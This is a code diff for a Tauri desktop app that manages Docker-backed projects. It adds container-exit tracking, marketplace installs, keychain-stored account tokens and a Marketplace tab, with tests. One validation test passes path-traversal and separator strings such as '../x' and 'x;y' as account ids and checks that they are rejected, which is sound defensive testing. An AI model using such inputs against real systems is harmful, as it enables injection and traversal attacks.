+    }
+
     pub fn remove(&self, id: &str) -> Result<(), String> {
         let mut projects = self.lock();
         let initial_len = projects.len();
@@ -215,6 +282,69 @@ impl ProjectsStore {
         Ok(())
     }
 
+    /// Is some project `Running` on `container_id`? Checked under the lock
+    /// without cloning anything — the container watcher asks this for every
+    /// container death on the daemon, nearly all of them not ours.
+    ///
+    /// The answer carries the store's revision, which [`Self::mark_exited`]
+    /// needs: the caller confirms with Docker that the container really is
+    /// down *between* the two calls, and that inspect can be slow.
+    pub fn running_on(&self, container_id: &str) -> Option<RunningSighting> {
+        let projects = self.lock();
+        projects
+            .iter()
+            .any(|p| is_running_on(p, container_id))
+            .then(|| RunningSighting { revision: self.revision.load(Ordering::SeqCst) })
+    }
+
+    /// A container stopped without the app asking: flip the project that is
+    /// `Running` on it to `Stopped`.
+    ///
+    /// A compare-and-set under the store lock rather than a read followed by
+    /// `update_status`, and against two things:
+    ///
+    /// * **The store's revision as of `seen`.** Between [`Self::running_on`]
+    ///   and here the caller waited on a Docker inspect. If the user stopped
+    ///   and restarted the project meanwhile — same container id, stop/start
+    ///   model — that inspect's "not running" is about a container that has
+    ///   since come back, and flipping would mark a healthy project Stopped.
+    ///   Any write to the store in that window bumps the revision, and the
+    ///   answer is [`ExitMark::Changed`]: confirm again and retry.
+    /// * **`is_busy`** — the project lock. Stop, Start, Reset and migration
+    ///   hold it across their own container's death and write the status they
+    ///   mean themselves. A start that takes the project lock just after this
+    ///   check still blocks on the store lock before it writes `Starting`.
+    ///
+    /// `container_id` may be the short form; the store holds the full id.
+    pub fn mark_exited(
+        &self,
+        container_id: &str,
+        seen: &RunningSighting,
+        is_busy: impl Fn(&str) -> bool,
+    ) -> ExitMark {
+        let mut projects = self.lock();
+        let unchanged = self.revision.load(Ordering::SeqCst) == seen.revision;
+        let Some(p) = projects.iter_mut().find(|p| is_running_on(p, container_id)) else {
+            return ExitMark::NotApplicable;
+        };
+        if !unchanged {
+            return ExitMark::Changed;
+        }
+        if is_busy(&p.id) {
+            return ExitMark::NotApplicable;
+        }
+        p.status = crate::models::ProjectStatus::Stopped;
+        p.updated_at = chrono::Utc::now().to_rfc3339();
+        let changed = p.clone();
+        if let Err(e) = self.save(&projects) {
+            // The in-memory record is what the UI is told about and what every
+            // later command reads, so it stays flipped; the next save of any
+            // kind writes it out.
+            log::warn!("Could not persist Stopped for project {}: {}", changed.id, e);
+        }
+        ExitMark::Flipped(Box::new(changed))
+    }
+
     pub fn update_status(&self, id: &str, status: crate::models::ProjectStatus) -> Result<(), String> {
         let mut projects = self.lock();
         if let Some(p) = projects.iter_mut().find(|p| p.id == id) {
@@ -256,6 +386,60 @@ impl ProjectsStore {
         }
     }
 
+    /// Read-modify-write of one project's marketplace installs and opt-outs
+    /// under the store's lock, touching nothing else (PR review #2): the
+    /// marketplace commands must not write back a whole record read before a
+    /// start changed its status or container id. When `f` fails nothing is
+    /// saved. Returns `f`'s value and the saved project.
+    pub fn update_marketplace_fields<T>(
+        &self,
+        project_id: &str,
+        f: impl FnOnce(
+            &mut Vec<MarketplaceInstall>,
+            &mut Vec<MarketplaceItemRef>,
+        ) -> Result<T, String>,
+    ) -> Result<(T, Project), String> {
+        let mut projects = self.lock();
+        let p = projects
+            .iter_mut()
+            .find(|p| p.id == project_id)
+            .ok_or_else(|| format!("Project {} not found", project_id))?;
+        let mut installs = p.marketplace_installs.clone();
+        let mut disabled = p.marketplace_disabled.clone();
+        let out = f(&mut installs, &mut disabled)?;
+        p.marketplace_installs = installs;
+        p.marketplace_disabled = disabled;
+        p.updated_at = chrono::Utc::now().to_rfc3339();
+        let saved = p.clone();
+        self.save(&projects)?;
+        Ok((out, saved))
+    }
+
+    /// [`Self::update_marketplace_fields`] over every project at once, in one
+    /// save. Projects `f` leaves as they were are not touched at all.
+    pub fn update_all_marketplace_fields(
+        &self,
+        mut f: impl FnMut(&mut Vec<MarketplaceInstall>, &mut Vec<MarketplaceItemRef>),
+    ) -> Result<(), String> {
+        let mut projects = self.lock();
+        let mut changed = false;
+        for p in projects.iter_mut() {
+            let mut installs = p.marketplace_installs.clone();
+            let mut disabled = p.marketplace_disabled.clone();
+            f(&mut installs, &mut disabled);
+            if installs != p.marketplace_installs || disabled != p.marketplace_disabled {
+                p.marketplace_installs = installs;
+                p.marketplace_disabled = disabled;
+                p.updated_at = chrono::Utc::now().to_rfc3339();
+                changed = true;
+            }
+        }
+        if changed {
+            self.save(&projects)?;
+        }
+        Ok(())
+    }
+
     pub fn set_container_id(&self, project_id: &str, container_id: Option<String>) -> Result<(), String> {
         let mut projects = self.lock();
         if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
@@ -361,6 +545,7 @@ mod tests {
         ProjectsStore {
             projects: Mutex::new(projects),
             file_path: dir.join("projects.json"),
+            revision: AtomicU64::new(0),
         }
     }
 
@@ -410,4 +595,256 @@ mod tests {
 
         fs::remove_dir_all(&dir).ok();
     }
+
+    fn market_install(key: &str) -> crate::models::marketplace::MarketplaceInstall {
+        crate::models::marketplace::MarketplaceInstall {
+            marketplace_id: "m1".into(),
+            kind: crate::models::marketplace::ItemKind::Agent,
+            key: key.into(),
+            commit: "a".repeat(40),
+        }
+    }
+
+    #[test]
+    fn marketplace_edits_keep_a_concurrent_status_and_container_change() {
+        // PR review #2: a marketplace install/uninstall used to write back a
+        // whole record read before a start flipped status and container_id,
+        // leaving the project stuck at Starting with no container.
+        let dir = temp_dir("marketplace-fields");
+        let project = Project::new("demo".to_string(), Vec::new());
+        let id = project.id.clone();
+        let store = store_over(&dir, vec![project]);
+
+        // The start flow moves on while a marketplace command is running.
+        store.set_container_id(&id, Some("cid-1".into())).unwrap();
+        store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap();
+
+        let (added, saved) = store
+            .update_marketplace_fields(&id, |installs, disabled| {
+                installs.push(market_install("a"));
+                disabled.push(market_install("g").item_ref());
+                Ok(installs.len())
+            })
+            .unwrap();
+        assert_eq!(added, 1);
+        assert_eq!(saved.container_id.as_deref(), Some("cid-1"));
+        assert_eq!(saved.status, crate::models::ProjectStatus::Starting);
+        let on_disk: Vec<Project> =
+            serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap();
+        assert_eq!(on_disk[0].container_id.as_deref(), Some("cid-1"));
+        assert_eq!(on_disk[0].marketplace_installs, vec![market_install("a")]);
+
+        // A refusal inside the closure writes nothing.
+        let before = fs::read_to_string(dir.join("projects.json")).unwrap();
+        let err = store
+            .update_marketplace_fields(&id, |installs, _| {
+                installs.clear();
+                Err::<(), _>("not installed".to_string())
+            })
+            .unwrap_err();
+        assert_eq!(err, "not installed");
+        assert_eq!(store.get(&id).unwrap().marketplace_installs.len(), 1);
+        assert_eq!(fs::read_to_string(dir.join("projects.json")).unwrap(), before);
+        assert!(store.update_marketplace_fields("nope", |_, _| Ok(())).is_err());
+
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn a_project_save_keeps_a_marketplace_install_made_after_it_read_the_record() {
+        // Re-review round 2: `update_project` read the stored record, then
+        // wrote the whole payload back later. An install landing in between
+        // was lost. The restore now runs against the record under the lock.
+        let dir = temp_dir("save-restore");
+        let project = Project::new("demo".to_string(), Vec::new());
+        let id = project.id.clone();
+        let store = store_over(&dir, vec![project]);
+
+        let mut payload = store.get(&id).unwrap(); // the Config tab's copy
+        payload.name = "renamed".to_string();
+        store
+            .update_marketplace_fields(&id, |installs, _| {
+                installs.push(market_install("late"));
+                Ok(())
+            })
+            .unwrap();
+
+        let saved = store
+            .update_restoring(payload, |incoming, stored| {
+                incoming.marketplace_installs = stored.marketplace_installs.clone();
+                incoming.marketplace_disabled = stored.marketplace_disabled.clone();
+            })
+            .unwrap();
+        assert_eq!(saved.name, "renamed");
+        assert_eq!(saved.marketplace_installs, vec![market_install("late")]);
+        assert_eq!(store.get(&id).unwrap().marketplace_installs, vec![market_install("late")]);
+
+        let mut ghost = Project::new("ghost".to_string(), Vec::new());
+        ghost.id = "nope".into();
+        assert!(store.update_restoring(ghost, |_, _| {}).is_err());
+
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn marketplace_edits_across_all_projects_touch_only_those_fields() {
+        let dir = temp_dir("marketplace-all");
+        let mut a = Project::new("a".to_string(), Vec::new());
+        a.marketplace_installs = vec![market_install("x")];
+        let b = Project::new("b".to_string(), Vec::new());
+        let (a_id, b_id) = (a.id.clone(), b.id.clone());
+        let store = store_over(&dir, vec![a, b]);
+        store.set_container_id(&b_id, Some("cid-b".into())).unwrap();
+        store.update_status(&a_id, crate::models::ProjectStatus::Running).unwrap();
+
+        let b_updated_at = store.get(&b_id).unwrap().updated_at;
+        store
+            .update_all_marketplace_fields(|installs, _| {
+                installs.retain(|i| i.marketplace_id != "m1")
+            })
+            .unwrap();
+
+        let a = store.get(&a_id).unwrap();
+        assert!(a.marketplace_installs.is_empty());
+        assert_eq!(a.status, crate::models::ProjectStatus::Running);
+        let b = store.get(&b_id).unwrap();
+        assert_eq!(b.container_id.as_deref(), Some("cid-b"));
+        assert_eq!(b.updated_at, b_updated_at, "an untouched project is not rewritten");
+
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    // ── running_on / mark_exited: a container that died on its own ───────
+
+    /// A full-length id, as Docker's events and the store both carry.
+    const C0FFEE: &str = "c0ffee0000000000000000000000000000000000000000000000000000000000";
+
+    fn running_on(container_id: &str) -> Project {
+        let mut p = Project::new("p".to_string(), Vec::new());
+        p.container_id = Some(container_id.to_string());
+        p.status = crate::models::ProjectStatus::Running;
+        p
+    }
+
+    /// Sighting and flip back to back, as when Docker answers instantly.
+    fn sight_and_mark(store: &ProjectsStore, cid: &str, busy: impl Fn(&str) -> bool) -> Option<Project> {
+        let seen = store.running_on(cid)?;
+        match store.mark_exited(cid, &seen, busy) {
+            ExitMark::Flipped(p) => Some(*p),
+            _ => None,
+        }
+    }
+
+    #[test]
+    fn a_running_project_whose_container_exited_is_marked_stopped_and_saved() {
+        let dir = temp_dir("exited");
+        let p = running_on(C0FFEE);
+        let id = p.id.clone();
+        let store = store_over(&dir, vec![p]);
+
+        let changed = sight_and_mark(&store, C0FFEE, |_| false).expect("flipped");
+
+        assert_eq!(changed.id, id);
+        assert_eq!(changed.status, crate::models::ProjectStatus::Stopped);
+        assert_eq!(store.get(&id).unwrap().status, crate::models::ProjectStatus::Stopped);
+        let on_disk = fs::read_to_string(dir.join("projects.json")).unwrap();
+        assert!(on_disk.contains("\"stopped\""), "the flip must be persisted: {on_disk}");
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn mark_exited_leaves_a_project_alone_while_a_command_owns_it() {
+        // Stop, Start-with-recreate, Reset and migration all hold the project
+        // lock across their own container's death; the command writes the
+        // status it means, and the watcher must not race it.
+        let dir = temp_dir("busy");
+        let p = running_on(C0FFEE);
+        let id = p.id.clone();
+        let store = store_over(&dir, vec![p]);
+
+        assert!(sight_and_mark(&store, C0FFEE, |pid| pid == id).is_none());
+        assert_eq!(store.get(&id).unwrap().status, crate::models::ProjectStatus::Running);
+        // ...and it was only the claim that held it back.
+        assert!(sight_and_mark(&store, C0FFEE, |_| false).is_some());
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    /// The slow-inspect race. The watcher sights the project Running, then
+    /// waits on Docker; meanwhile the user stops and starts it again on the
+    /// *same* container id (stop/start model). Docker's "not running" is now
+    /// about a container that has come back, so the flip must not land.
+    #[test]
+    fn a_stop_and_start_during_the_docker_check_invalidates_the_sighting() {
+        let dir = temp_dir("restarted");
+        let p = running_on(C0FFEE);
+        let id = p.id.clone();
+        let store = store_over(&dir, vec![p]);
+
+        let seen = store.running_on(C0FFEE).expect("sighted");
+        // ...the inspect is in flight...
+        store.update_status(&id, crate::models::ProjectStatus::Stopping).unwrap();
+        store.update_status(&id, crate::models::ProjectStatus::Stopped).unwrap();
+        store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap();
+        store.update_status(&id, crate::models::ProjectStatus::Running).unwrap();
+
+        assert!(matches!(store.mark_exited(C0FFEE, &seen, |_| false), ExitMark::Changed));
+        assert_eq!(store.get(&id).unwrap().status, crate::models::ProjectStatus::Running);
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn a_stale_sighting_of_a_project_no_longer_running_is_simply_not_applicable() {
+        let dir = temp_dir("gone");
+        let p = running_on(C0FFEE);
+        let id = p.id.clone();
+        let store = store_over(&dir, vec![p]);
+
+        let seen = store.running_on(C0FFEE).expect("sighted");
+        store.update_status(&id, crate::models::ProjectStatus::Stopped).unwrap();
+
+        assert!(matches!(store.mark_exited(C0FFEE, &seen, |_| false), ExitMark::NotApplicable));
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn only_running_projects_on_that_container_are_sighted_or_touched() {
+        let dir = temp_dir("other");
+        let mut starting = running_on(C0FFEE);
+        starting.status = crate::models::ProjectStatus::Starting;
+        let other = running_on(&"b".repeat(64));
+        let (starting_id, other_id) = (starting.id.clone(), other.id.clone());
+        let store = store_over(&dir, vec![starting, other]);
+
+        assert!(store.running_on(C0FFEE).is_none(), "Starting is a command's");
+        assert!(store.running_on(&"d".repeat(64)).is_none(), "nobody's container");
+        assert!(store.running_on("").is_none());
+        assert!(sight_and_mark(&store, C0FFEE, |_| false).is_none());
+        assert_eq!(
+            store.get(&starting_id).unwrap().status,
+            crate::models::ProjectStatus::Starting
+        );
+        assert_eq!(store.get(&other_id).unwrap().status, crate::models::ProjectStatus::Running);
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn a_blank_or_truncated_stored_id_matches_no_container() {
+        // A blank stored id is a prefix of everything.
+        let dir = temp_dir("blank");
+        let store = store_over(&dir, vec![running_on(""), running_on("abc")]);
+        assert!(store.running_on(&"f".repeat(64)).is_none());
+        assert!(store.running_on("abcdef0123456789").is_none());
+        fs::remove_dir_all(&dir).ok();
+    }
+
+    #[test]
+    fn a_short_id_is_matched_against_the_stored_full_one() {
+        let dir = temp_dir("short");
+        let full = "a".repeat(12) + &"b".repeat(52);
+        let store = store_over(&dir, vec![running_on(&full)]);
+
+        assert!(store.running_on("aaaa").is_none(), "too short to be an id");
+        assert!(sight_and_mark(&store, &full[..12], |_| false).is_some());
+        fs::remove_dir_all(&dir).ok();
+    }
 }

app/src-tauri/src/storage/secure.rs

@@ -369,6 +369,44 @@ pub fn store_gateway_master_key(key: &str) -> Result<(), String> {
     bump_gateway_secret_version()
 }
 
+// ─────────────────────────────────────────────────────────────────────────────
+// Marketplace account tokens (global, one entry per account)
+// ─────────────────────────────────────────────────────────────────────────────
+
+/// Keychain service prefix; the account id completes it.
+const MARKETPLACE_TOKEN_SERVICE_PREFIX: &str = "triple-c-marketplace-account-";
+
+/// The service name for one account. Ids are uuids; anything else is refused
+/// before a keychain entry is constructed.
+fn marketplace_token_service(account_id: &str) -> Result<String, String> {
+    let ok = !account_id.is_empty()
+        && account_id.len() <= 64
+        && account_id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-');
+    if !ok {
+        return Err(format!("Invalid marketplace account id {:?}", account_id));
+    }
+    Ok(format!("{}{}", MARKETPLACE_TOKEN_SERVICE_PREFIX, account_id))
+}
+
+pub fn store_marketplace_token(account_id: &str, token: &str) -> Result<(), String> {
+    let service = marketplace_token_service(account_id)?;
+    if token.trim().is_empty() {
+        return Err("Refusing to store an empty marketplace token.".to_string());
+    }
+    let entry = keyring::Entry::new(&service, KEYCHAIN_ACCOUNT)
+        .map_err(|e| format!("Keyring error: {}", e))?;
+    entry
+        .set_password(token.trim())
+        .map_err(|e| format!("Failed to store the marketplace account token: {}", e))
+}
+
+pub fn get_marketplace_token(account_id: &str) -> Result<Option<String>, String> {
+    read_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
+}
+
+pub fn delete_marketplace_token(account_id: &str) -> Result<(), String> {
+    delete_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
+}
 
 #[cfg(test)]
 mod tests {
@@ -426,6 +464,22 @@ mod tests {
         assert!(err.contains("brand-new-token"), "{}", err);
     }
 
+    /// Account ids become part of a keychain service name, so a malformed one
+    /// is refused before any entry is constructed — and so before the
+    /// keychain is touched, which is also what lets this run in CI.
+    #[test]
+    fn marketplace_token_ids_are_validated_before_the_keychain() {
+        for bad in ["", "../x", "a b", "x;y", &"a".repeat(65)] {
+            let err = store_marketplace_token(bad, "test-token-not-real").unwrap_err();
+            assert!(err.contains("Invalid marketplace account id"), "{bad:?}: {err}");
+            assert!(!err.contains("test-token-not-real"));
+            assert!(get_marketplace_token(bad).is_err());
+            assert!(delete_marketplace_token(bad).is_err());
+        }
+        let err = store_marketplace_token("0b9e6a2c-1111-4222-8333-944445555666", "   ").unwrap_err();
+        assert!(err.contains("empty"));
+    }
+
     /// The blanked-field case. `AccessSection.tsx` sends `gitToken || null`, so
     /// a cleared field arrives as `None` — and before this existed, `None` was
     /// skipped and the old secret stayed in the keychain forever.

app/src-tauri/src/web_terminal/server.rs

@@ -8,7 +8,7 @@ use serde::{Deserialize, Serialize};
 use tokio::sync::watch;
 use tower_http::cors::CorsLayer;
 
-use crate::docker::exec::ExecSessionManager;
+use crate::host::ExecSessionManager;
 use crate::storage::projects_store::ProjectsStore;
 use crate::storage::settings_store::SettingsStore;
 

app/src-tauri/src/web_terminal/ws_handler.rs

@@ -295,9 +295,7 @@ async fn handle_open(
         return Err(format!("Project '{}' is not running", project.name));
     }
 
-    let container_id = project
-        .container_id
-        .as_ref()
+    let container = crate::host::ContainerTarget::for_project(&project)
         .ok_or_else(|| "Container not running".to_string())?;
 
     let cmd = match session_type {
@@ -329,7 +327,13 @@ async fn handle_open(
 
     state
         .exec_manager
-        .create_session(container_id, &session_id, cmd, on_output, on_exit)
+        .create_session(
+            &container,
+            &session_id,
+            cmd,
+            on_output,
+            on_exit,
+        )
         .await?;
 
     // Track this session for cleanup on disconnect

app/src-tauri/tauri.conf.json

@@ -35,7 +35,12 @@
       "icons/icon.ico",
       "icons/icon.icns",
       "icons/icon.png"
-    ]
+    ],
+    "linux": {
+      "appimage": {
+        "bundleMediaFramework": true
+      }
+    }
   },
   "plugins": {}
 }

app/src/App.tsx

@@ -21,7 +21,10 @@ import { useTerminal } from "./hooks/useTerminal";
 import { useSTT } from "./hooks/useSTT";
 import { useContainerProgress } from "./hooks/useContainerProgress";
 import { useKeyboardShortcuts } from "./hooks/useKeyboardShortcuts";
-import { useAppState, isHomeTab, tabKeyId, homeTabKey } from "./store/appState";
+import { useMarketplaceSyncToasts } from "./hooks/useMarketplace";
+import { useProjectStatusEvents } from "./hooks/useProjectStatusEvents";
+import MarketplaceView from "./components/marketplace/MarketplaceView";
+import { useAppState, isHomeTab, tabKeyId, homeTabKey, MARKETPLACE_TAB_KEY } from "./store/appState";
 import { reconcileProjectStatuses } from "./lib/tauri-commands";
 
 export default function App() {
@@ -72,6 +75,8 @@ export default function App() {
 
   useContainerProgress();
   useKeyboardShortcuts();
+  useMarketplaceSyncToasts();
+  useProjectStatusEvents();
 
   // Initialize on mount
   useEffect(() => {
@@ -159,6 +164,11 @@ export default function App() {
                   />
                 </PaneVisibilityProvider>
               ))}
+              {tabOrder.includes(MARKETPLACE_TAB_KEY) && (
+                <PaneVisibilityProvider visible={activeTabKey === MARKETPLACE_TAB_KEY}>
+                  <MarketplaceView active={activeTabKey === MARKETPLACE_TAB_KEY} />
+                </PaneVisibilityProvider>
+              )}
             </div>
           )}
         </main>

app/src/components/layout/MainTabs.test.tsx

@@ -1,7 +1,7 @@
 import { describe, it, expect, vi, beforeEach } from "vitest";
 import { fireEvent, render, screen } from "@testing-library/react";
 import MainTabs from "./MainTabs";
-import { useAppState, homeTabKey, terminalTabKey } from "../../store/appState";
+import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "../../store/appState";
 import type { Project, TerminalSession } from "../../lib/types";
 
 const close = vi.fn();
@@ -265,3 +265,20 @@ describe("MainTabs reordering", () => {
     }
   });
 });
+
+describe("marketplace tab", () => {
+  beforeEach(() => {
+    useAppState.setState({
+      tabOrder: [HOME, MARKETPLACE_TAB_KEY],
+      activeTabKey: MARKETPLACE_TAB_KEY,
+      activeSessionId: null,
+    });
+  });
+
+  it("renders a Marketplace tab that closes", () => {
+    render(<MainTabs />);
+    expect(screen.getByRole("tab", { name: /marketplace/i })).toHaveAttribute("aria-selected", "true");
+    fireEvent.click(screen.getByRole("button", { name: "Close Marketplace tab" }));
+    expect(useAppState.getState().tabOrder).toEqual([HOME]);
+  });
+});

app/src/components/layout/MainTabs.tsx

@@ -5,6 +5,7 @@ import { useProjects } from "../../hooks/useProjects";
 import {
   useAppState,
   isHomeTab,
+  isMarketplaceTab,
   tabKeyId,
   terminalTabKey,
 } from "../../store/appState";
@@ -26,6 +27,7 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
   plan: { text: "plan", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
   default: { text: "ask", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
   acceptEdits: { text: "edits", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
+  auto: { text: "auto", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
   bypass: { text: "bypass", className: "bg-[var(--warning-muted)] text-[var(--warning)]" },
 };
 
@@ -40,12 +42,13 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
 export default function MainTabs() {
   const { sessions, close } = useTerminal();
   const { projects, update } = useProjects();
-  const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, moveTab } = useAppState(
+  const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, closeMarketplaceTab, moveTab } = useAppState(
     useShallow((s) => ({
       tabOrder: s.tabOrder,
       activeTabKey: s.activeTabKey,
       setActiveTabKey: s.setActiveTabKey,
       closeHomeTab: s.closeHomeTab,
+      closeMarketplaceTab: s.closeMarketplaceTab,
       moveTab: s.moveTab,
     })),
   );
@@ -191,6 +194,7 @@ export default function MainTabs() {
    * worse than no ghost.
    */
   const tabLabel = (key: string): string => {
+    if (isMarketplaceTab(key)) return "Marketplace";
     if (isHomeTab(key)) {
       return projects.find((p) => p.id === tabKeyId(key))?.name ?? "";
     }
@@ -271,7 +275,7 @@ export default function MainTabs() {
         x: e.clientX - drag.offsetX,
         y: drag.top,
         label: tabLabel(drag.key),
-        icon: isHomeTab(drag.key) ? "⌂" : "▣",
+        icon: isMarketplaceTab(drag.key) ? "◈" : isHomeTab(drag.key) ? "⌂" : "▣",
       });
     },
     onPointerUp: (e: React.PointerEvent<HTMLDivElement>) => {
@@ -313,6 +317,41 @@ export default function MainTabs() {
   const renderTab = (key: string, index: number) => {
     const active = activeTabKey === key;
 
+    if (isMarketplaceTab(key)) {
+      return (
+        <div
+          role="tab"
+          aria-selected={active}
+          tabIndex={0}
+          data-tab-index={index}
+          onClick={() => activateTab(key)}
+          onKeyDown={(e) => {
+            if (e.key === "Enter" || e.key === " ") {
+              e.preventDefault();
+              setActiveTabKey(key);
+            }
+          }}
+          {...pointerProps(key, false)}
+          className={tabClass(active, dragKey === key)}
+        >
+          <span aria-hidden="true" className="text-[var(--text-secondary)]">◈</span>
+          <span className="truncate max-w-[160px]">Marketplace</span>
+          <button
+            type="button"
+            onClick={(e) => {
+              e.stopPropagation();
+              closeMarketplaceTab();
+            }}
+            aria-label="Close Marketplace tab"
+            title="Close tab"
+            className="w-6 h-6 flex items-center justify-center rounded-[var(--radius-control)] text-[var(--text-secondary)] hover:text-[var(--error)] hover:bg-[var(--bg-tertiary)] transition-colors"
+          >
+            <span aria-hidden="true">×</span>
+          </button>
+        </div>
+      );
+    }
+
     if (isHomeTab(key)) {
       const projectId = tabKeyId(key);
       const project = projects.find((p) => p.id === projectId);

app/src/components/layout/NotesDock.tsx

@@ -78,7 +78,7 @@ export default function NotesDock() {
   if (!notesDockOpen) return null;
 
   // Follow whatever is in front: a home tab is its own project, a terminal tab
-  // is the project it belongs to.
+  // is the project it belongs to. The Marketplace tab belongs to no project.
   let projectId: string | null = null;
   if (activeTabKey && isHomeTab(activeTabKey)) {
     projectId = tabKeyId(activeTabKey);

app/src/components/marketplace/AccountsPane.test.tsx

@@ -0,0 +1,75 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, waitFor } from "@testing-library/react";
+import { useAppState } from "../../store/appState";
+import type { AppSettings } from "../../lib/types";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+
+const testMarketplaceAccount = vi.fn();
+const removeMarketplaceAccount = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  testMarketplaceAccount: (id: string) => testMarketplaceAccount(id),
+  removeMarketplaceAccount: (id: string) => removeMarketplaceAccount(id),
+}));
+vi.mock("./AddAccountModal", () => ({ default: () => <div>add account modal</div> }));
+
+import AccountsPane from "./AccountsPane";
+
+const settings = {
+  marketplace_accounts: [
+    { id: "a1", label: "Personal", host: "github.com", method: "gh_host", username: "me" },
+    { id: "a2", label: "Gitea", host: "repo.example.com", method: "token", username: "jk" },
+  ],
+  marketplaces: [{ id: "m1", name: "Team", url: "https://repo.example.com/t/m.git", branch: null, account_id: "a2" }],
+  global_marketplace_installs: [],
+} as unknown as AppSettings;
+
+describe("AccountsPane", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useAppState.setState({ appSettings: settings, toasts: [] });
+  });
+
+  it("lists accounts with their method and usage", () => {
+    render(<AccountsPane mp={{} as MarketplaceApi} />);
+    expect(screen.getByText("Personal")).toBeInTheDocument();
+    expect(screen.getByText(/gh on this computer/)).toBeInTheDocument();
+    expect(screen.getByText(/Used by Team$/)).toBeInTheDocument();
+  });
+
+  it("tests an account", async () => {
+    testMarketplaceAccount.mockResolvedValue("me");
+    render(<AccountsPane mp={{} as MarketplaceApi} />);
+    fireEvent.click(screen.getByRole("button", { name: "Test Personal" }));
+    await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
+    expect(useAppState.getState().toasts[0].message).toContain("me");
+  });
+
+  // F5: the backend refuses to remove an account a marketplace uses, so the
+  // UI must not promise otherwise with a confirm modal — Remove is disabled
+  // with a hint instead, and there is no confirm step to click through.
+  it("disables Remove for an account in use, with a hint", () => {
+    render(<AccountsPane mp={{} as MarketplaceApi} />);
+    const removeGitea = screen.getByRole("button", { name: "Remove Gitea" });
+    expect(removeGitea).toHaveAttribute("aria-disabled", "true");
+    expect(screen.getByText(/Used by Team.*change or remove that marketplace first/)).toBeInTheDocument();
+    fireEvent.click(removeGitea);
+    expect(removeMarketplaceAccount).not.toHaveBeenCalled();
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+  });
+
+  it("removes an unused account", async () => {
+    removeMarketplaceAccount.mockResolvedValue({ ...settings, marketplace_accounts: [settings.marketplace_accounts[1]] });
+    render(<AccountsPane mp={{} as MarketplaceApi} />);
+    const removePersonal = screen.getByRole("button", { name: "Remove Personal" });
+    expect(removePersonal).not.toHaveAttribute("aria-disabled");
+    fireEvent.click(removePersonal);
+    await waitFor(() => expect(removeMarketplaceAccount).toHaveBeenCalledWith("a1"));
+    await waitFor(() => expect(useAppState.getState().appSettings!.marketplace_accounts).toHaveLength(1));
+  });
+
+  it("opens the add dialog", () => {
+    render(<AccountsPane mp={{} as MarketplaceApi} />);
+    fireEvent.click(screen.getByRole("button", { name: "Add account" }));
+    expect(screen.getByText("add account modal")).toBeInTheDocument();
+  });
+});

app/src/components/marketplace/AccountsPane.tsx

@@ -0,0 +1,108 @@
+import { useState } from "react";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+import { useAppState } from "../../store/appState";
+import { removeMarketplaceAccount, testMarketplaceAccount } from "../../lib/tauri-commands";
+import type { AccountMethod, MarketplaceAccount } from "../../lib/types";
+import Button from "../ui/Button";
+import AddAccountModal from "./AddAccountModal";
+
+const METHOD_LABEL: Record<AccountMethod, string> = {
+  gh_host: "GitHub — gh on this computer",
+  gh_container: "GitHub — signed in via container",
+  token: "Access token",
+};
+
+export default function AccountsPane(_props: { mp: MarketplaceApi }) {
+  const appSettings = useAppState((s) => s.appSettings);
+  const setAppSettings = useAppState((s) => s.setAppSettings);
+  const pushToast = useAppState((s) => s.pushToast);
+  const [adding, setAdding] = useState(false);
+  const [testing, setTesting] = useState<string | null>(null);
+  const [removing, setRemoving] = useState<string | null>(null);
+
+  const accounts = appSettings?.marketplace_accounts ?? [];
+  const marketplaces = appSettings?.marketplaces ?? [];
+  const usedBy = (id: string) => marketplaces.filter((m) => m.account_id === id).map((m) => m.name);
+
+  const test = async (a: MarketplaceAccount) => {
+    setTesting(a.id);
+    try {
+      const login = await testMarketplaceAccount(a.id);
+      pushToast({ kind: "success", message: `${a.label} works — signed in as ${login}` });
+    } catch (e) {
+      pushToast({ kind: "error", message: `${a.label} could not sign in`, detail: String(e) });
+    } finally {
+      setTesting(null);
+    }
+  };
+
+  const remove = async (a: MarketplaceAccount) => {
+    setRemoving(a.id);
+    try {
+      setAppSettings(await removeMarketplaceAccount(a.id));
+    } catch (e) {
+      pushToast({ kind: "error", message: `Could not remove ${a.label}`, detail: String(e) });
+    } finally {
+      setRemoving(null);
+    }
+  };
+
+  return (
+    <div className="p-4 space-y-3 max-w-3xl">
+      <div className="flex items-center justify-between">
+        <p className="text-xs text-[var(--text-secondary)]">
+          Accounts are used to fetch private marketplaces. Tokens are kept in your OS keychain and never enter
+          containers.
+        </p>
+        <Button size="md" variant="secondary" onClick={() => setAdding(true)}>
+          Add account
+        </Button>
+      </div>
+      {accounts.length === 0 && <p className="text-xs text-[var(--text-secondary)]">No accounts yet. Public repositories need none.</p>}
+      <ul className="space-y-2">
